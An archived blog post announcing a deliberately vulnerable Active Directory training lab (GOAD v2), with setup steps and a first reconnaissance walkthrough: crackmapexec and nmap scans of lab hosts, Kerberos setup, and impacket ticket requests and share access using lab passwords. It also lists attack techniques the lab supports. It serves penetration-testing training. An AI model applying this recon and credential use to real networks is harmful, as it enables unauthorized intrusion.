Game Of Active Directory, PWNING is coming!
🌲

Game Of Active Directory, PWNING is coming!

📅 [ Archival Date ]
Jan 7, 2023 5:12 PM
🏷️ [ Tags ]
Active DirectoryLab
✍️ [ Author ]

The second version of Game Of Active directory is out!

I spent months to setup this new lab, with a bunch of new features and the result is finally available.

With this new lab i worked to add the following features:

  • Multi domains and multi forest:
    • Now there is child/parent domain with sevenkingdoms.local and north.sevenkingdoms.local
    • A separate forest as essos.local to train the forest to forest technics
  • IIS :
    • An IIS server is available on castelblack.north.sevenkingdoms.local with the ability to upload asp to get a shell
  • MSSQL :
    • Two MSSQL servers are now available, one in castelblack.north.sevenkingdoms.local and another on braavos.sevenkingdoms.local
    • The two servers are linked to test MSSQL trusted link.
    • Impersonation configuration are also set up on the MSSQL server
  • Anonymous user listing:
    • An anonymous user listing is now available in winterfell.north.sevenkingdoms.local
  • ADCS :
    • One of the biggest improvement of v2 with the multi domains is that an ADCS server is available on essos.local and with miss configurations to try at least esc1 to 3 and esc8.

An otherview of the lab can be resumed with this chart:

image

The global technics available on the lab are:

  • Password reuse between computers (PTH)
  • Spray User = Password
  • Password in description
  • SMB share anonymous
  • SMB not signed
  • Responder
  • Zerologon
  • Windows defender
  • ASREPRoast
  • Kerberoasting
  • AD Acl abuse (forcechangepassword, genericall, genericwrite,…)
  • Unconstraint delegation
  • Ntlm relay
  • Constrained delegation
  • MSSQL exec
  • MSSQL trusted link
  • MSSQL impersonate
  • IIS service to Upload malicious asp
  • Multiples forest
  • Anonymous RPC user listing
  • Child parent domain escalation
  • Certificate and ldaps avaiable
  • ADCS - ESC 1/2/3/8
  • Certifry
  • Samaccountname/nopac
  • Petitpotam unauthent
  • Printerbug
  • Drop the mic
  • Shadow credentials
  • Printnightmare
  • Krbrelayup

I will details those on various blog post writeup on the GOAD lab exploitation.

Installation

  • First you need a big computer to get the lab up and running. Mine is a 8cpu/32Go RAM.
  • Maybe a 4CPU/16Go could be enough but I am really not sure about it as there is 5 windows VM to launch!
git clone https://github.com/Orange-Cyberdefense/GOAD.git
  • We start by launching vagrant to get all the vms and let vagrant provide them
vagrant up
  • Once we get all the vms up and running it’s time to provision them with ansible
  • We install all the needed packages and launch the main.yml playbook
sudo apt install python3.8-venv
cd ansible
python3.8 -m virtualenv .venv
source .venv/bin/activate
python3 -m pip install --upgrade pip
python3 -m pip install ansible-core==2.12.6
python3 -m pip install pywinrm
ansible-galaxy install -r requirements.yml
ansible-playbook main.yml
If there is error we just re-launch ansible-playbook main.yml until there is no failure during the installation.

Lab running

  • We check the lab with cme
cme smb 192.168.56.0/24
image

• All is ok, let’s start to pwn the lab ⚡️

GOAD Part 1 — reconnaissance and scan

The lab is now up and running, let’s do some recon on it.

Enumerate Network

We will starting the reconnaissance of the Game Of Active Directory environment by searching all the availables IPs.

image

First recon with cme

The first thing i personally do before launching an nmap is to scan for netbios results. For this i launch crackmapexec (cme) on the IP range to quickly get netbios answers by windows computers. This is a very kick way to get all the windows machine IP, names and domains.

cme smb 192.168.56.1/24
image

This command answer relatively quickly and send back a lot of useful informations!

We now know there is 3 domains:

  • north.sevenkingdoms.local (2 ip)
    • CASTELBLACK (windows server 2019) (signing false)
    • WINTERFELL (windows server 2019)
  • sevenkingdoms.local (1 ip)
    • KINGSLANDING (windows server 2019)
  • essos.local (2 ip)
    • BRAAVOS (windows server 2016) (signing false)
    • MEEREEN (windows server 2019)

Here as we have 3 domains we know that three DCs must be setup. We also know that microsoft setup DC smb signing as true by default. So all the dc are the one with signing at true. (In a secure environment signing must true everywhere to avoid ntlm relay).

Find DC ip

image
  • Let’s enumerate the DCs by quering the dns with nslookup
nslookup -type=srv _ldap._tcp.dc._msdcs.sevenkingdoms.local 192.168.56.10
image

setup /etc/hosts and kerberos

  • To use kerberos in our Linux environment we will do some configurations.
  • First we must set the DNS by configuring the /etc/hosts file
# /etc/hosts
# GOAD
192.168.56.10   sevenkingdoms.local kingslanding.sevenkingdoms.local kingslanding
192.168.56.11   winterfell.north.sevenkingdoms.local north.sevenkingdoms.local winterfell
192.168.56.12   essos.local meereen.essos.local meereen
192.168.56.22   castelblack.north.sevenkingdoms.local castelblack
192.168.56.23   braavos.essos.local braavos
  • We must install the Linux kerberos client
sudo apt install krb5-user
  • We answer the questions with :
    • realm : essos.local
    • servers : meereen.essos.local
  • We will setup the /etc/krb5.conf file like this :
[libdefaults]
  default_realm = essos.local
  kdc_timesync = 1
  ccache_type = 4
  forwardable = true
  proxiable = true
  fcc-mit-ticketflags = true
[realms]
  north.sevenkingdoms.local = {
      kdc = winterfell.north.sevenkingdoms.local
      admin_server = winterfell.north.sevenkingdoms.local
  }
  sevenkingdoms.local = {
      kdc = kingslanding.sevenkingdoms.local
      admin_server = kingslanding.sevenkingdoms.local
  }
  essos.local = {
      kdc = meereen.essos.local
      admin_server = meereen.essos.local
  }
...
  • If krb5-user is already installed we can reconfigure it with (dpkg-reconfigure or by modifying /etc/krb5.conf)
dpkg-reconfigure krb5-config
  • Now kerberos is set up on our environment we will try if we can get a TGT for a user.
getTGT.py essos.local/khal.drogo:horse
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in khal.drogo.ccache
export KRB5CCNAME=/workspace/khal.drogo.ccache
smbclient.py -k @braavos.essos.local
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
Type help for list of commands
# shares
ADMIN$
all
C$
CertEnroll
IPC$
public
# use C$
# ls
drw-rw-rw-          0  Wed Jun 29 10:41:11 2022 $Recycle.Bin
-rw-rw-rw-     384322  Thu Feb 14 20:38:48 2019 bootmgr
-rw-rw-rw-          1  Thu Feb 14 20:38:48 2019 BOOTNXT
drw-rw-rw-          0  Wed Jun 29 01:20:28 2022 Config.Msi
-rw-rw-rw-       1914  Wed Jun 29 07:46:13 2022 dns_log.txt
drw-rw-rw-          0  Wed Jun 29 08:29:08 2022 Documents and Settings
drw-rw-rw-          0  Wed Jun 29 01:26:54 2022 inetpub
-rw-rw-rw- 1342177280  Sun Jul  3 22:57:35 2022 pagefile.sys
drw-rw-rw-          0  Thu Feb 14 13:19:12 2019 PerfLogs
drw-rw-rw-          0  Wed Jun 29 01:19:59 2022 Program Files
drw-rw-rw-          0  Wed Jun 29 01:29:07 2022 Program Files (x86)
drw-rw-rw-          0  Wed Jun 29 10:46:28 2022 ProgramData
drw-rw-rw-          0  Wed Jun 29 00:29:20 2022 Recovery
drw-rw-rw-          0  Wed Jun 29 01:07:10 2022 setup
drw-rw-rw-          0  Wed Jun 29 01:31:47 2022 shares
drw-rw-rw-          0  Thu Feb 14 20:40:57 2019 System Volume Information
drw-rw-rw-          0  Wed Jun 29 01:01:06 2022 tmp
drw-rw-rw-          0  Wed Jun 29 10:40:42 2022 Users
drw-rw-rw-          0  Sun Jul  3 15:58:04 2022 vagrant
drw-rw-rw-          0  Thu Jun 30 17:33:12 2022 Windows
  • Ok the kerberos setup is good :)
  • We could now unset the ticket:
unset KRB5CCNAME
  • Trouble on winterfell
  • During the kerberos tests we saw we get trouble on winterfell:
getTGT.py north.sevenkingdoms.local/arya.stark:Needle
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Saving ticket in arya.stark.ccache
export KRB5CCNAME=/workspace/arya.stark.ccache
smbclient.py -k -no-pass @winterfell.north.sevenkingdoms.local
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] SMB SessionError: STATUS_MORE_PROCESSING_REQUIRED({Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.)
  • Actually i don’t know why kerberos doesn’t work on winterfell with the full FQDN, but it’s ok by just setting winterfell instead of winterfell.north.sevenkingdoms.local
smbclient.py -k -no-pass @winterfell
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
# use SYSVOL
# ls
drw-rw-rw-          0  Wed Jun 29 00:48:39 2022 .
drw-rw-rw-          0  Wed Jun 29 00:48:39 2022 ..
drw-rw-rw-          0  Wed Jun 29 00:48:39 2022 north.sevenkingdoms.local

Nmap

One thing to know is that nmap will do a ping before scanning the target. If the target doesn’t answer to ping it will be ignore.

The way to be sure we doesn’t miss anything on TCP, could be to scan with the following options:

nmap -Pn -p- -sC -sV -oA full_scan_goad 192.168.56.10-12,22-23

Let’s analyze this command :

  • Pn don’t do ping scan and scan all ip
  • p- scan the 65535 ports instead of the default nmap 1000 top ports by default
  • sC play the default script for reconnaissance
  • sV enumerate the version
  • oA write results in the 3 available format (nmap classic, grep format, xml format)
  • The full scan result is:
Nmap scan report for sevenkingdoms.local (192.168.56.10)
Host is up (0.00066s latency).
Not shown: 65511 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-03 15:14:43Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2022-06-30T06:55:19
|_Not valid after:  2023-06-30T06:55:19
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2022-06-30T06:55:19
|_Not valid after:  2023-06-30T06:55:19
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2022-06-30T06:55:19
|_Not valid after:  2023-06-30T06:55:19
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2022-06-30T06:55:19
|_Not valid after:  2023-06-30T06:55:19
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Not valid before: 2022-06-27T22:40:05
|_Not valid after:  2022-12-27T22:40:05
| rdp-ntlm-info: 
|   Target_Name: SEVENKINGDOMS
|   NetBIOS_Domain_Name: SEVENKINGDOMS
|   NetBIOS_Computer_Name: KINGSLANDING
|   DNS_Domain_Name: sevenkingdoms.local
|   DNS_Computer_Name: kingslanding.sevenkingdoms.local
|   DNS_Tree_Name: sevenkingdoms.local
|   Product_Version: 10.0.17763
|_  System_Time: 2022-07-03T15:16:37+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-06-27T15:18:01
|_Not valid after:  2025-06-26T15:18:01
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49708/tcp open  msrpc         Microsoft Windows RPC
59098/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:57:A4:F2 (Oracle VirtualBox virtual NIC)
Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: KINGSLANDING, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:57:a4:f2 (Oracle VirtualBox virtual NIC)
| smb2-time: 
|   date: 2022-07-03T15:16:34
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Nmap scan report for winterfell.north.sevenkingdoms.local (192.168.56.11)
Host is up (0.00068s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-03 15:14:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2022-06-30T13:20:52
|_Not valid after:  2023-06-30T13:20:52
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2022-06-30T13:20:52
|_Not valid after:  2023-06-30T13:20:52
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2022-06-30T13:20:52
|_Not valid after:  2023-06-30T13:20:52
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Subject Alternative Name: othername:<unsupported>, DNS:winterfell.north.sevenkingdoms.local
| Not valid before: 2022-06-30T13:20:52
|_Not valid after:  2023-06-30T13:20:52
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=winterfell.north.sevenkingdoms.local
| Not valid before: 2022-06-27T22:49:00
|_Not valid after:  2022-12-27T22:49:00
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: NORTH
|   NetBIOS_Domain_Name: NORTH
|   NetBIOS_Computer_Name: WINTERFELL
|   DNS_Domain_Name: north.sevenkingdoms.local
|   DNS_Computer_Name: winterfell.north.sevenkingdoms.local
|   DNS_Tree_Name: sevenkingdoms.local
|   Product_Version: 10.0.17763
|_  System_Time: 2022-07-03T15:16:36+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
|_http-title: Not Found
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-06-27T15:21:08
|_Not valid after:  2025-06-26T15:21:08
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
65091/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:3E:C3:EF (Oracle VirtualBox virtual NIC)
Service Info: Host: WINTERFELL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: WINTERFELL, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:3e:c3:ef (Oracle VirtualBox virtual NIC)
| smb2-time: 
|   date: 2022-07-03T15:16:37
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Nmap scan report for essos.local (192.168.56.12)
Host is up (0.00046s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-07-03 15:15:01Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername:<unsupported>, DNS:meereen.essos.local
| Not valid before: 2022-06-29T08:30:39
|_Not valid after:  2023-06-29T08:30:39
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ESSOS)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername:<unsupported>, DNS:meereen.essos.local
| Not valid before: 2022-06-29T08:30:39
|_Not valid after:  2023-06-29T08:30:39
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername:<unsupported>, DNS:meereen.essos.local
| Not valid before: 2022-06-29T08:30:39
|_Not valid after:  2023-06-29T08:30:39
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=meereen.essos.local
| Subject Alternative Name: othername:<unsupported>, DNS:meereen.essos.local
| Not valid before: 2022-06-29T08:30:39
|_Not valid after:  2023-06-29T08:30:39
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=meereen.essos.local
| Not valid before: 2022-06-27T22:40:08
|_Not valid after:  2022-12-27T22:40:08
| rdp-ntlm-info: 
|   Target_Name: ESSOS
|   NetBIOS_Domain_Name: ESSOS
|   NetBIOS_Computer_Name: MEEREEN
|   DNS_Domain_Name: essos.local
|   DNS_Computer_Name: meereen.essos.local
|   DNS_Tree_Name: essos.local
|   Product_Version: 10.0.14393
|_  System_Time: 2022-07-03T15:16:38+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
|_http-title: Not Found
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-06-27T15:23:42
|_Not valid after:  2025-06-26T15:23:42
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
60502/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:33:DF:2F (Oracle VirtualBox virtual NIC)
Service Info: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-07-03T15:16:38
|_  start_date: 2022-07-03T13:56:01
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_nbstat: NetBIOS name: MEEREEN, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:33:df:2f (Oracle VirtualBox virtual NIC)
|_clock-skew: mean: 42m00s, deviation: 2h12m50s, median: 0s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: meereen
|   NetBIOS computer name: MEEREEN\x00
|   Domain name: essos.local
|   Forest name: essos.local
|   FQDN: meereen.essos.local
|_  System time: 2022-07-03T08:16:38-07:00

Nmap scan report for castelblack.north.sevenkingdoms.local (192.168.56.22)
Host is up (0.00066s latency).
Not shown: 65525 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-07-03T13:57:05
|_Not valid after:  2052-07-03T13:57:05
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
| ms-sql-ntlm-info: 
|   Target_Name: NORTH
|   NetBIOS_Domain_Name: NORTH
|   NetBIOS_Computer_Name: CASTELBLACK
|   DNS_Domain_Name: north.sevenkingdoms.local
|   DNS_Computer_Name: castelblack.north.sevenkingdoms.local
|   DNS_Tree_Name: sevenkingdoms.local
|_  Product_Version: 10.0.17763
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=castelblack.north.sevenkingdoms.local
| Not valid before: 2022-06-27T22:56:08
|_Not valid after:  2022-12-27T22:56:08
| rdp-ntlm-info: 
|   Target_Name: NORTH
|   NetBIOS_Domain_Name: NORTH
|   NetBIOS_Computer_Name: CASTELBLACK
|   DNS_Domain_Name: north.sevenkingdoms.local
|   DNS_Computer_Name: castelblack.north.sevenkingdoms.local
|   DNS_Tree_Name: sevenkingdoms.local
|   Product_Version: 10.0.17763
|_  System_Time: 2022-07-03T15:16:40+00:00
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-06-27T15:26:52
|_Not valid after:  2025-06-26T15:26:52
| tls-alpn: 
|_  http/1.1
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2022-07-03T15:17:20+00:00; 0s from scanner time.
49666/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:B9:6C:19 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-07-03T15:16:38
|_  start_date: N/A
| ms-sql-info: 
|   192.168.56.22:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_nbstat: NetBIOS name: CASTELBLACK, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:b9:6c:19 (Oracle VirtualBox virtual NIC)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Stats: 0:09:09 elapsed; 4 hosts completed (5 up), 1 undergoing Script Scan
NSE Timing: About 99.93% done; ETC: 17:20 (0:00:00 remaining)
Nmap scan report for braavos.essos.local (192.168.56.23)
Host is up (0.00044s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ESSOS
|   NetBIOS_Domain_Name: ESSOS
|   NetBIOS_Computer_Name: BRAAVOS
|   DNS_Domain_Name: essos.local
|   DNS_Computer_Name: braavos.essos.local
|   DNS_Tree_Name: essos.local
|_  Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-07-03T13:57:51
|_Not valid after:  2052-07-03T13:57:51
|_ssl-date: 2022-07-03T15:20:40+00:00; 0s from scanner time.
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: ESSOS
|   NetBIOS_Domain_Name: ESSOS
|   NetBIOS_Computer_Name: BRAAVOS
|   DNS_Domain_Name: essos.local
|   DNS_Computer_Name: braavos.essos.local
|   DNS_Tree_Name: essos.local
|   Product_Version: 10.0.14393
|_  System_Time: 2022-07-03T15:20:00+00:00
| ssl-cert: Subject: commonName=braavos.essos.local
| Not valid before: 2022-06-27T22:56:08
|_Not valid after:  2022-12-27T22:56:08
|_ssl-date: 2022-07-03T15:20:40+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2022-06-27T15:30:05
|_Not valid after:  2025-06-26T15:30:05
| tls-alpn: 
|   h2
|_  http/1.1
|_ssl-date: 2022-07-03T15:20:40+00:00; 0s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49669/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  msrpc         Microsoft Windows RPC
49778/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:A3:67:1D (Oracle VirtualBox virtual NIC)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-07-03T15:20:00
|_  start_date: 2022-07-03T13:57:42
|_nbstat: NetBIOS name: BRAAVOS, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:a3:67:1d (Oracle VirtualBox virtual NIC)
| ms-sql-info: 
|   192.168.56.23:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: braavos
|   NetBIOS computer name: BRAAVOS\x00
|   Domain name: essos.local
|   Forest name: essos.local
|   FQDN: braavos.essos.local
|_  System time: 2022-07-03T08:20:00-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
